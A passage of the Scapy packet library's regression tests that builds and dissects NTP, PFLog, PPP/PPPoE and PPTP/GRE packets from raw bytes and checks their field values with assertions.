136 assert isinstance(p.data[0], NTPInfoIfStatsIPv4) assert p.data[0].unaddr == "127.0.0.1" assert p.data[0].unmask == "255.0.0.0" assert p.data[0].ifname.startswith(b"lo") ############ ############ + RawVal tests = Build an NTP packet using RawVal from decimal import Decimal precision = b"\xec" # -20 dispersion = b"\x00\x00\xf2\xce" # 0.948455810546875 time_stamp = b"\xe6}gt\x00\x00\x00\x00" # Sat, 16 Jul 2022 16:36:04 +0000 pkt_1 = NTP( precision=RawVal(precision), dispersion=RawVal(dispersion), orig=RawVal(time_stamp), sent=RawVal(time_stamp), ) # This field is intentionally set here, rather than in the constructor above, # to cover a different code path: pkt_1.recv = RawVal(time_stamp) assert (isinstance(pkt_1.precision, RawVal)), type(pkt_1.precision) assert (isinstance(pkt_1.dispersion, RawVal)), type(pkt_1.dispersion) assert (isinstance(pkt_1.orig, RawVal)), type(pkt_1.orig) assert (isinstance(pkt_1.sent, RawVal)), type(pkt_1.sent) assert (isinstance(pkt_1.recv, RawVal)), type(pkt_1.recv) assert pkt_1.precision.val == precision, pkt_1.precision.val assert pkt_1.dispersion.val == dispersion, pkt_1.dispersion.val assert pkt_1.orig.val == time_stamp, pkt_1.orig.val assert pkt_1.sent.val == time_stamp, pkt_1.sent.val assert pkt_1.recv.val == time_stamp, pkt_1.recv.val time_stamp_hex = 0x00000000e67d6774 pkt_2 = NTP( precision=-20, dispersion=Decimal('0.948455810546875'), orig=time_stamp_hex, sent=time_stamp_hex, recv=time_stamp_hex ) raw_pkt = (b"#\x02\n\xec\x00\x00\x00\x00\x00\x00\xf2\xce\x7f\x00\x00\x01\x00" b"\x00\x00\x00\x00\x00\x00\x00\xe6}gt\x00\x00\x00\x00\xe6}gt\x00" b"\x00\x00\x00\xe6}gt\x00\x00\x00\x00") assert raw(pkt_1) == raw(pkt_2) == raw_pkt ================================================ FILE: test/scapy/layers/pflog.uts ================================================ % Regression tests for the PFLog layer # More information at http://www.secdev.org/projects/UTscapy/ ############ ############ + Multiple operations of PFLog packets dissections = Load module load_layer("pflog") from io import BytesIO = Dissect PFLog packet of a IP()/TCP() dropped packet pcap_pflog_tcp = BytesIO(b'\xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00u\x00\x00\x00\x89*\xce_}\xcf\x07\x00\xa4\x00\x00\x00\xa4\x00\x00\x00d\x02\x01\x00vio0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\xff\xff\xff\xff\xff\xff\xff\xff\xa0\x86\x01\x00\x00\x00\x00\x00\x84S\x01\x00\x01\x00\x02\x00\n\xc8\xc8\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\n\xc8\xc8\x9a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa3\xbd\x00\x17E\x00\x00@c\xae@\x00@\x06/\xe1\n\xc8\xc8\xfe\n\xc8\xc8\x9a\xa3\xbd\x00\x17\xc8\xc9\xd9\xf2\x00\x00\x00\x00\xb0\x02@\x00.l\x00\x00\x02\x04\x05\xb4\x01\x01\x04\x02\x01\x03\x03\x06\x01\x01\x08\n\x86\xb8S\x1c\x00\x00\x00\x00') pflog_tcp_packets = rdpcap(pcap_pflog_tcp) # PFLog Layer assert pflog_tcp_packets[0][PFLog].hdrlen == 100 assert pflog_tcp_packets[0][PFLog].addrfamily == 2 # IPv4 assert pflog_tcp_packets[0][PFLog].action == 1 # drop assert pflog_tcp_packets[0][PFLog].saddr == '10.200.200.254' assert pflog_tcp_packets[0][PFLog].daddr == '10.200.200.154' # IP Layer assert pflog_tcp_packets[0][IP].proto == 6 assert pflog_tcp_packets[0][IP].src == '10.200.200.254' assert pflog_tcp_packets[0][IP].dst == '10.200.200.154' # TCP Layer assert pflog_tcp_packets[0][TCP].dport == 23 = Dissect PFLog packet of a IP()/UDP() dropped packet pcap_pflog_udp = BytesIO(b'\xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00u\x00\x00\x00O*\xce_?\x1d\x05\x00\x82\x00\x00\x00\x82\x00\x00\x00d\x02\x01\x00vio0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\xff\xff\xff\xff\xff\xff\xff\xff\xa0\x86\x01\x00\x00\x00\x00\x00{\xdb\x00\x00\x01\x00\x02\x00\n\xc8\xc8\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\n\xc8\xc8\x9a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa9\x0b\x00\x17E\x00\x00\x1e\xdd\x1c\x00\x00@\x11\xf6\x89\n\xc8\xc8\xfe\n\xc8\xc8\x9a\xa9\x0b\x00\x17\x00\nN\x84') pflog_udp_packets = rdpcap(pcap_pflog_udp) # PFLog Layer assert pflog_udp_packets[0][PFLog].hdrlen == 100 assert pflog_udp_packets[0][PFLog].addrfamily == 2 # IPv4 assert pflog_udp_packets[0][PFLog].action == 1 # drop assert pflog_udp_packets[0][PFLog].saddr == '10.200.200.254' assert pflog_udp_packets[0][PFLog].daddr == '10.200.200.154' # IP Layer assert pflog_udp_packets[0][IP].proto == 17 assert pflog_udp_packets[0][IP].src == '10.200.200.254' assert pflog_udp_packets[0][IP].dst == '10.200.200.154' # UDP Layer assert pflog_udp_packets[0][UDP].dport == 23 = Dissect PFLog packet of a IP()/ICMP() echo-request dropped packet pcap_pflog_icmp = BytesIO(b'\xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00u\x00\x00\x00\x8d*\xce_\x16[\x0c\x00\xb8\x00\x00\x00\xb8\x00\x00\x00d\x02\x01\x00vio0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\xff\xff\xff\xff\xff\xff\xff\xff\xa0\x86\x01\x00\x00\x00\x00\x00\x84S\x01\x00\x01\x00\x02\x00\n\xc8\xc8\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\n\xc8\xc8\x9a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x16K\x00\x08E\x00\x00T.\x88\x00\x00\xff\x01\xe5\xf7\n\xc8\xc8\xfe\n\xc8\xc8\x9a\x08\x00\xabD\x16K\x00\x00') pflog_icmp_packets = rdpcap(pcap_pflog_icmp) # PFLog Layer assert pflog_icmp_packets[0][PFLog].hdrlen == 100 assert pflog_icmp_packets[0][PFLog].addrfamily == 2 # IPv4 assert pflog_icmp_packets[0][PFLog].action == 1 # drop assert pflog_icmp_packets[0][PFLog].saddr == '10.200.200.254' assert pflog_icmp_packets[0][PFLog].daddr == '10.200.200.154' # IP Layer assert pflog_icmp_packets[0][IP].proto == 1 assert pflog_icmp_packets[0][IP].src == '10.200.200.254' assert pflog_icmp_packets[0][IP].dst == '10.200.200.154' # ICMP Layer assert pflog_icmp_packets[0][ICMP].type == 8 and pflog_icmp_packets[0][ICMP].code == 0 = Dissect PFLog packet of a IPv6()/TCP() dropped packet pcap_pflog_tcp_ipv6_drop = BytesIO(b'\xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00u\x00\x00\x00\x9dA\xce_\x98P\x08\x00\xb8\x00\x00\x00\xb8\x00\x00\x00d\x18\x01\x00vlan3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\xff\xff\xff\xff\xff\xff\xff\xff\xa0\x86\x01\x00\x00\x00\x00\x00\xd9\x08\x00\x00\x01\x00\x18\x00\x11\x11\x11\x11\x11\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x11\x11\x11\x11\x11\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\xfc\x04\xe9\x00\x17`\n\xb8\x13\x00,\x06@\x11\x11\x11\x11\x11\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x11\x11\x11\x11\x11\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\xfc\x04\xe9\x00\x17\xd6\xc3:\xd6\x00\x00\x00\x00\xb0\x02@\x00\xf7\xeb\x00\x00\x02\x04\x05\xa0\x01\x01\x04\x02\x01\x03\x03\x06\x01\x01\x08\nS\xd6,P\x00\x00\x00\x00') pflog_tcp_ipv6_drop_packets = rdpcap(pcap_pflog_tcp_ipv6_drop) # PFLog Layer assert pflog_tcp_ipv6_drop_packets[0][PFLog].hdrlen == 100 assert pflog_tcp_ipv6_drop_packets[0][PFLog].addrfamily == 24 # IPv6 assert pflog_tcp_ipv6_drop_packets[0][PFLog].action == 1 assert pflog_tcp_ipv6_drop_packets[0][PFLog].saddr == '1111:1111:1111::1' assert pflog_tcp_ipv6_drop_packets[0][PFLog].daddr == '1111:1111:1111::fc' # IP Layer assert pflog_tcp_ipv6_drop_packets[0][IPv6].nh == 6 assert pflog_tcp_ipv6_drop_packets[0][IPv6].src == '1111:1111:1111::1' assert pflog_tcp_ipv6_drop_packets[0][IPv6].dst == '1111:1111:1111::fc' # TCP Layer assert pflog_tcp_ipv6_drop_packets[0][TCP].dport == 23 = Dissect PFLog packet of a IPv6()/TCP() passed packet pcap_pflog_tcp_ipv6_pass = BytesIO(b'\xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00u\x00\x00\x00$B\xce_\x8e\xc1\x01\x00\xb8\x00\x00\x00\xb8\x00\x00\x00d\x18\x00\x00vlan3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\xff\xff\xff\xff\xff\xff\xff\xff\xa0\x86\x01\x00\x00\x00\x00\x00\xa4\x85\x00\x00\x01\x00\x18\x00\x11\x11\x11\x11\x11\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x11\x11\x11\x11\x11\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\xfczw\x00\x16`\x02\x82\x85\x00,\x06@\x11\x11\x11\x11\x11\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x11\x11\x11\x11\x11\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\xfczw\x00\x16\xa3\x9d\x059\x00\x00\x00\x00\xb0\x02@\x00\xd9\xf1\x00\x00\x02\x04\x05\xa0\x01\x01\x04\x02\x01\x03\x03\x06\x01\x01\x08\nu[\x1b\xfb\x00\x00\x00\x00') pflog_tcp_ipv6_pass_packets = rdpcap(pcap_pflog_tcp_ipv6_pass) # PFLog Layer assert pflog_tcp_ipv6_pass_packets[0][PFLog].hdrlen == 100 assert pflog_tcp_ipv6_pass_packets[0][PFLog].addrfamily == 24 # IPv6 assert pflog_tcp_ipv6_pass_packets[0][PFLog].action == 0 assert pflog_tcp_ipv6_pass_packets[0][PFLog].saddr == '1111:1111:1111::1' assert pflog_tcp_ipv6_pass_packets[0][PFLog].daddr == '1111:1111:1111::fc' # IP Layer assert pflog_tcp_ipv6_pass_packets[0][IPv6].nh == 6 assert pflog_tcp_ipv6_pass_packets[0][IPv6].src == '1111:1111:1111::1' assert pflog_tcp_ipv6_pass_packets[0][IPv6].dst == '1111:1111:1111::fc' # TCP Layer assert pflog_tcp_ipv6_pass_packets[0][TCP].dport == 22 = Dissect PFLog packet of a IPv6()/UDP() dropped packet pcap_pflog_udp_ipv6_drop = BytesIO(b'\xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00u\x00\x00\x00\xccA\xce_\xf8\x10\x03\x00\x95\x00\x00\x00\x95\x00\x00\x00d\x18\x01\x00vlan3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\xff\xff\xff\xff\xff\xff\xff\xff\xa0\x86\x01\x00\x00\x00\x00\x00\xd9\x08\x00\x00\x01\x00\x18\x00\x11\x11\x11\x11\x11\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x11\x11\x11\x11\x11\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\xfc[U\x00\x16`\x0f\x1b\x84\x00\t\x11@\x11\x11\x11\x11\x11\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x11\x11\x11\x11\x11\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\xfc[U\x00\x16\x00\t\xe4\xeeX') pflog_udp_ipv6_drop_packets = rdpcap(pcap_pflog_udp_ipv6_drop) # PFLog Layer assert pflog_udp_ipv6_drop_packets[0][PFLog].hdrlen == 100 assert pflog_udp_ipv6_drop_packets[0][PFLog].addrfamily == 24 # IPv6 assert pflog_udp_ipv6_drop_packets[0][PFLog].action == 1 assert pflog_udp_ipv6_drop_packets[0][PFLog].saddr == '1111:1111:1111::1' assert pflog_udp_ipv6_drop_packets[0][PFLog].daddr == '1111:1111:1111::fc' # IP Layer assert pflog_udp_ipv6_drop_packets[0][IPv6].nh == 17 assert pflog_udp_ipv6_drop_packets[0][IPv6].src == '1111:1111:1111::1' assert pflog_udp_ipv6_drop_packets[0][IPv6].dst == '1111:1111:1111::fc' # UDP Layer assert pflog_udp_ipv6_drop_packets[0][UDP].dport == 22 = Dissect PFLog packet of a IPv6()/ICMP6() dropped packet pcap_pflog_icmp6_drop = BytesIO(b'\xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00u\x00\x00\x005A\xce_\xa5\x06\x05\x00\xac\x00\x00\x00\xac\x00\x00\x00d\x18\x01\x00vlan3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\xff\xff\xff\xff\xff\xff\xff\xff\xa0\x86\x01\x00\x00\x00\x00\x00\x89\xa0\x00\x00\x01\x00\x18\x00\x11\x11\x11\x11\x11\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xff\x00\x00\xfc\x11\xed\x00\x87`\x00\x00\x00\x00 :\xff\x11\x11\x11\x11\x11\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xff\x00\x00\xfc\x87\x00\xf0\xf2\x00\x00\x00\x00\x11\x11\x11\x11\x11\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\xfc\x01\x01RT\x00]\xcd\x9b') pflog_icmp6_drop_packets = rdpcap(pcap_pflog_icmp6_drop) # PFLog Layer assert pflog_icmp6_drop_packets[0][PFLog].hdrlen == 100 assert pflog_icmp6_drop_packets[0][PFLog].addrfamily == 24 # IPv6 assert pflog_icmp6_drop_packets[0][PFLog].action == 1 assert pflog_icmp6_drop_packets[0][PFLog].saddr == '1111:1111:1111::1' assert pflog_icmp6_drop_packets[0][PFLog].daddr == 'ff02::1:ff00:fc' # IP Layer assert pflog_icmp6_drop_packets[0][IPv6].nh == 58 assert pflog_icmp6_drop_packets[0][IPv6].src == '1111:1111:1111::1' assert pflog_icmp6_drop_packets[0][IPv6].dst == 'ff02::1:ff00:fc' # ICMP6 Layer assert pflog_icmp6_drop_packets[0][ICMPv6ND_NS].type == 135 and pflog_icmp6_drop_packets[0][ICMPv6ND_NS].code == 0 assert pflog_icmp6_drop_packets[0][ICMPv6ND_NS].tgt == '1111:1111:1111::fc' = Dissect PFLog packet of a IPv6()/ICMP6() passed packet pcap_pflog_icmp6_pass = BytesIO(b'\xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00u\x00\x00\x00 B\xce_\xf4\x05\x05\x00\xac\x00\x00\x00\xac\x00\x00\x00d\x18\x00\x00vlan3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\xff\xff\xff\xff\xff\xff\xff\xff\xa0\x86\x01\x00\x00\x00\x00\x00\xa4\x85\x00\x00\x01\x00\x18\x00\x11\x11\x11\x11\x11\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x11\x11\x11\x11\x11\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\xfc\x11\xed\x00\x87`\x00\x00\x00\x00 :\xff\x11\x11\x11\x11\x11\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x11\x11\x11\x11\x11\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\xfc\x87\x00\xbb\xc4\x00\x00\x00\x00\x11\x11\x11\x11\x11\x11\x00\x00\x00\x00\x00\x00\x00\x00\x00\xfc\x01\x01RT\x00]\xcd\x9b') pflog_icmp6_pass_packets = rdpcap(pcap_pflog_icmp6_pass) # PFLog Layer assert pflog_icmp6_pass_packets[0][PFLog].hdrlen == 100 assert pflog_icmp6_pass_packets[0][PFLog].addrfamily == 24 # IPv6 assert pflog_icmp6_pass_packets[0][PFLog].action == 0 assert pflog_icmp6_pass_packets[0][PFLog].saddr == '1111:1111:1111::1' assert pflog_icmp6_pass_packets[0][PFLog].daddr == '1111:1111:1111::fc' # IP Layer assert pflog_icmp6_pass_packets[0][IPv6].nh == 58 assert pflog_icmp6_pass_packets[0][IPv6].src == '1111:1111:1111::1' assert pflog_icmp6_pass_packets[0][IPv6].dst == '1111:1111:1111::fc' # ICMP6 Layer assert pflog_icmp6_pass_packets[0][ICMPv6ND_NS].type == 135 and pflog_icmp6_pass_packets[0][ICMPv6ND_NS].code == 0 assert pflog_icmp6_pass_packets[0][ICMPv6ND_NS].tgt == '1111:1111:1111::fc' ================================================ FILE: test/scapy/layers/ppp.uts ================================================ % Scapy PPP layer tests ############ ############ + PPP tests = PPPoE ~ ppp pppoe p=Ether(b'\xff\xff\xff\xff\xff\xff\x08\x00\x27\xf3<5\x88c\x11\x09\x00\x00\x00\x0c\x01\x01\x00\x00\x01\x03\x00\x04\x01\x02\x03\x04\x00\x00\x00\x00') p assert p[Ether].type==0x8863 assert PPPoED in p assert p[PPPoED].version==1 assert p[PPPoED].type==1 assert p[PPPoED].code==0x09 assert PPPoED_Tags in p q=p[PPPoED_Tags] assert q.tag_list is not None r=q.tag_list assert len(r) == 2 assert r[0].tag_type==0x0101 assert r[1].tag_type==0x0103 assert r[1].tag_len==4 assert r[1].tag_value==b'\x01\x02\x03\x04' assert Padding in p and len(p[Padding]) == 4 = PPPoE with tags (appended) ~ ppp ppoe eth = Ether(dst="ff:ff:ff:ff:ff:ff", src="12:12:12:12:12:12", type=0x8863) pppoed = PPPoED(version=1, type=1, code=0x9, sessionid=0, len=8) server_name = PPPoETag(tag_type=0x0101, tag_len=0) end_of_list = PPPoETag(tag_type=0, tag_len=0) original = eth / pppoed / server_name / end_of_list dissected = Ether(original.build()) assert PPPoED_Tags in dissected assert dissected[PPPoED_Tags].tag_list[0].tag_type == 0x0101 assert dissected[PPPoED_Tags].tag_list[1].tag_type == 0 = PPPoE with padding ~ ppp pppoe p = CookedLinux(b'\x00\x00\x00\x01\x00\x06\x00\x1d\xaa\x00\x00\x00\x00\x00\x88c\x11\xa7\x08\x81\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x8e\xf3\x9d\xf1\xc5C\xbe\xde') assert p.summary() == 'CookedLinux / PPPoE Active Discovery Terminate (PADT) / Padding' assert p[PPPoED].len == 0 assert len(p[Padding].load) == 44 = PPP/HDLC ~ ppp hdlc p = HDLC()/PPP()/PPP_IPCP() p s = raw(p) s assert s == b'\xff\x03\x80!\x01\x00\x00\x04' p = PPP(s) p assert HDLC in p assert p[HDLC].control==3 assert p[PPP].proto==0x8021 q = PPP(s[2:]) q assert HDLC not in q assert q[PPP].proto==0x8021 = PPP IPCP ~ ppp ipcp p = PPP(b'\x80!\x01\x01\x00\x10\x03\x06\xc0\xa8\x01\x01\x02\x06\x00-\x0f\x01') p assert p[PPP_IPCP].code == 1 assert p[PPP_IPCP_Option_IPAddress].data=="192.168.1.1" assert p[PPP_IPCP_Option].data == b'\x00-\x0f\x01' p=PPP()/PPP_IPCP(options=[PPP_IPCP_Option_DNS1(data="1.2.3.4"),PPP_IPCP_Option_DNS2(data="5.6.7.8"),PPP_IPCP_Option_NBNS2(data="9.10.11.12")]) r = raw(p) r assert r == b'\x80!\x01\x00\x00\x16\x81\x06\x01\x02\x03\x04\x83\x06\x05\x06\x07\x08\x84\x06\t\n\x0b\x0c' q = PPP(r) q assert raw(p) == raw(q) assert PPP(raw(q))==q p = PPP()/PPP_IPCP(options=[PPP_IPCP_Option_DNS1(data="1.2.3.4"),PPP_IPCP_Option_DNS2(data="5.6.7.8"),PPP_IPCP_Option(type=123,data="ABCDEFG"),PPP_IPCP_Option_NBNS2(data="9.10.11.12")]) p r = raw(p) r assert r == b'\x80!\x01\x00\x00\x1f\x81\x06\x01\x02\x03\x04\x83\x06\x05\x06\x07\x08{\tABCDEFG\x84\x06\t\n\x0b\x0c' q = PPP(r) q assert q[PPP_IPCP_Option].type == 123 assert q[PPP_IPCP_Option].data == b"ABCDEFG" assert q[PPP_IPCP_Option_NBNS2].data == '9.10.11.12' = PPP ECP ~ ppp ecp p = PPP()/PPP_ECP(options=[PPP_ECP_Option_OUI(oui=0x58595a)]) p r = raw(p) r assert r == b'\x80S\x01\x00\x00\n\x00\x06XYZ\x00' q = PPP(r) q assert raw(p) == raw(q) p = PPP()/PPP_ECP(options=[PPP_ECP_Option_OUI(oui=0x58595a),PPP_ECP_Option(type=1,data="ABCDEFG")]) p r = raw(p) r assert r == b'\x80S\x01\x00\x00\x13\x00\x06XYZ\x00\x01\tABCDEFG' q = PPP(r) q assert raw(p) == raw(q) assert q[PPP_ECP_Option].data == b"ABCDEFG" = PPP IP check that default protocol length is 2 bytes ~ ppp ip p = PPP()/IP() p r = raw(p) r assert r.startswith(b'\x00\x21') assert len(r) == 22 = PPP check parsing with only one byte for protocol ~ ppp assert len(raw(PPP(proto=b'\x21') / IP())) == 21 p = PPP(b'!E\x00\x00<\x00\x00@\x008\x06\xa5\xce\x85wP)\xc0\xa8Va\x01\xbbd\x8a\xe2}r\xb8O\x95\xb5\x84\xa0\x12q \xc8\x08\x00\x00\x02\x04\x02\x18\x04\x02\x08\nQ\xdf\xd6\xb0\x00\x07LH\x01\x03\x03\x07Ao') assert IP in p assert TCP in p assert PPP(b"\x00\x21" + raw(IP())) == PPP(b"\x21" + raw(IP())) ================================================ FILE: test/scapy/layers/pptp.uts ================================================ ############################## % PPTP Related regression tests ############################## + GRE Tests = Test IP/GRE v0 decoding ~ gre ip data = hex_bytes('45c00064000f0000ff2f1647c0a80c01c0a8170300000800') pkt = IP(data) assert GRE in pkt gre = pkt[GRE] assert gre.chksum_present == 0 assert gre.routing_present == 0 assert gre.key_present == 0 assert gre.seqnum_present == 0 assert gre.strict_route_source == 0 assert gre.recursion_control == 0 assert gre.flags == 0 assert gre.version == 0 assert gre.proto == 0x800 = Test IP/GRE v1 decoding with PPP LCP ~ gre ip pptp ppp lcp data = hex_bytes('4500003c18324000402f0e5a0a0000020a0000063001880b001c9bf500000000ff03'\ 'c021010100180206000000000304c2270506fbb8831007020802') pkt = IP(data) assert GRE_PPTP in pkt gre_pptp = pkt[GRE_PPTP] assert gre_pptp.chksum_present == 0 assert gre_pptp.routing_present == 0 assert gre_pptp.key_present == 1 assert gre_pptp.seqnum_present == 1 assert gre_pptp.strict_route_source == 0 assert gre_pptp.recursion_control == 0 assert gre_pptp.acknum_present == 0 assert gre_pptp.flags == 0 assert gre_pptp.version == 1 assert gre_pptp.proto == 0x880b assert gre_pptp.payload_len == 28 assert gre_pptp.call_id == 39925 assert gre_pptp.sequence_number == 0x0 assert HDLC in pkt assert PPP in pkt assert PPP_LCP_Configure in pkt = Test IP/GRE v1 encoding/decoding with PPP LCP Echo ~ gre ip pptp ppp hdlc lcp lcp_echo pkt = IP(src='192.168.0.1', dst='192.168.0.2') /\ GRE_PPTP(seqnum_present=1, acknum_present=1, sequence_number=47, ack_number=42) /\ HDLC() / PPP() / PPP_LCP_Echo(id=42, magic_number=4242, data='abcdef') pkt_data = raw(pkt) pkt_data_ref = hex_bytes('4500003600010000402ff944c0a80001c0a800023081880b001200000000002f000000'\ '2aff03c021092a000e00001092616263646566') assert (pkt_data == pkt_data_ref) pkt_decoded = IP(pkt_data_ref) assert IP in pkt assert GRE_PPTP in pkt assert HDLC in pkt assert PPP in pkt assert PPP_LCP_Echo in pkt assert pkt[IP].proto == 47 assert pkt[GRE_PPTP].chksum_present == 0 assert pkt[GRE_PPTP].routing_present == 0 assert pkt[GRE_PPTP].key_present == 1 assert pkt[GRE_PPTP].seqnum_present == 1 assert pkt[GRE_PPTP].acknum_present == 1 assert pkt[GRE_PPTP].sequence_number == 47 assert pkt[GRE_PPTP].ack_number == 42 assert pkt[PPP].proto == 0xc021 assert pkt[PPP_LCP_Echo].code == 9 assert pkt[PPP_LCP_Echo].id == 42 assert pkt[PPP_LCP_Echo].magic_number == 4242 assert pkt[PPP_LCP_Echo].data == b'abcdef' + PPP LCP Tests = Test LCP Echo Request / Reply ~ ppp lcp lcp_echo lcp_echo_request_data = hex_bytes('c021090700080000002a') lcp_echo_reply_data = raw(PPP()/PPP_LCP_Echo(code=10, id=7, magic_number=77, data='defgh')) lcp_echo_request_pkt = PPP(lcp_echo_request_data) lcp_echo_reply_pkt = PPP(lcp_echo_reply_data) assert lcp_echo_reply_pkt.answers(lcp_echo_request_pkt) assert not lcp_echo_request_pkt.answers(lcp_echo_reply_pkt) lcp_echo_non_reply_data = raw(PPP()/PPP_LCP_Echo(code=10, id=3, magic_number=77)) lcp_echo_non_reply_pkt = PPP(lcp_echo_non_reply_data) assert not lcp_echo_non_reply_pkt.answers(lcp_echo_request_pkt) lcp_echo_non_reply_data = raw(PPP()/PPP_LCP_Echo(id=7, magic_number=42)) lcp_echo_non_reply_pkt = PPP(lcp_echo_non_reply_data) assert not lcp_echo_non_reply_pkt.answers(lcp_echo_request_pkt) = Test LCP Configure Request ~ ppp lcp lcp_configure magic_number conf_req = PPP() / PPP_LCP_Configure(id=42, options=[PPP_LCP_Magic_Number_Option(magic_number=4242)]) conf_req_ref_data = hex_bytes('c021012a000a050600001092') assert raw(conf_req) == conf_req_ref_data conf_req_pkt = PPP(conf_req_ref_data) assert PPP_LCP_Configure in conf_req_pkt assert conf_req_pkt[PPP_LCP_Configure].code == 1 assert conf_req_pkt[PPP_LCP_Configure].id == 42 assert len(conf_req_pkt[PPP_LCP_Configure].options) == 1 assert isinstance(conf_req_pkt[PPP_LCP_Configure].options[0], PPP_LCP_Magic_Number_Option) assert conf_req_pkt[PPP_LCP_Configure].options[0].magic_number == 4242 = Test LCP Configure Ack ~ ppp lcp lcp_configure lcp_configure_ack conf_ack = PPP() / PPP_LCP_Configure(code='Configure-Ack', id=42, options=[PPP_LCP_Magic_Number_Option(magic_number=4242)]) conf_ack_ref_data = hex_bytes('c021022a000a050600001092') assert (raw(conf_ack) == conf_ack_ref_data) conf_ack_pkt = PPP(conf_ack_ref_data) assert PPP_LCP_Configure in conf_ack_pkt assert conf_ack_pkt[PPP_LCP_Configure].code == 2 assert conf_ack_pkt[PPP_LCP_Configure].id == 42 assert len(conf_ack_pkt[PPP_LCP_Configure].options) == 1 assert isinstance(conf_ack_pkt[PPP_LCP_Configure].options[0], PPP_LCP_Magic_Number_Option) assert conf_ack_pkt[PPP_LCP_Configure].options[0].magic_number == 4242 conf_req_pkt = PPP(hex_bytes('c021012a000a050600001092')) assert conf_ack_pkt.answers(conf_req_pkt) assert not conf_req_pkt.answers(conf_ack_pkt) = Test LCP Configure Nak ~ ppp lcp lcp_configure lcp_configure_nak lcp_mru_option lcp_accm_option conf_nak = PPP() / PPP_LCP_Configure(code='Configure-Nak', id=42, options=[PPP_LCP_MRU_Option(), PPP_LCP_ACCM_Option(accm=0xffff0000)]) conf_nak_ref_data = hex_bytes('c021032a000e010405dc0206ffff0000') assert raw(conf_nak) == conf_nak_ref_data conf_nak_pkt = PPP(conf_nak_ref_data) assert PPP_LCP_Configure in conf_nak_pkt assert conf_nak_pkt[PPP_LCP_Configure].code == 3 assert conf_nak_pkt[PPP_LCP_Configure].id == 42 assert len(conf_nak_pkt[PPP_LCP_Configure].options) == 2 assert isinstance(conf_nak_pkt[PPP_LCP_Configure].options[0], PPP_LCP_MRU_Option) assert conf_nak_pkt[PPP_LCP_Configure].options[0].max_recv_unit == 1500 assert isinstance(conf_nak_pkt[PPP_LCP_Configure].options[1], PPP_LCP_ACCM_Option) assert conf_nak_pkt[PPP_LCP_Configure].options[1].accm == 0xffff0000 conf_req_pkt = PPP(hex_bytes('c021012a000e010405dc0206ffff0000')) assert conf_nak_pkt.answers(conf_req_pkt) assert not 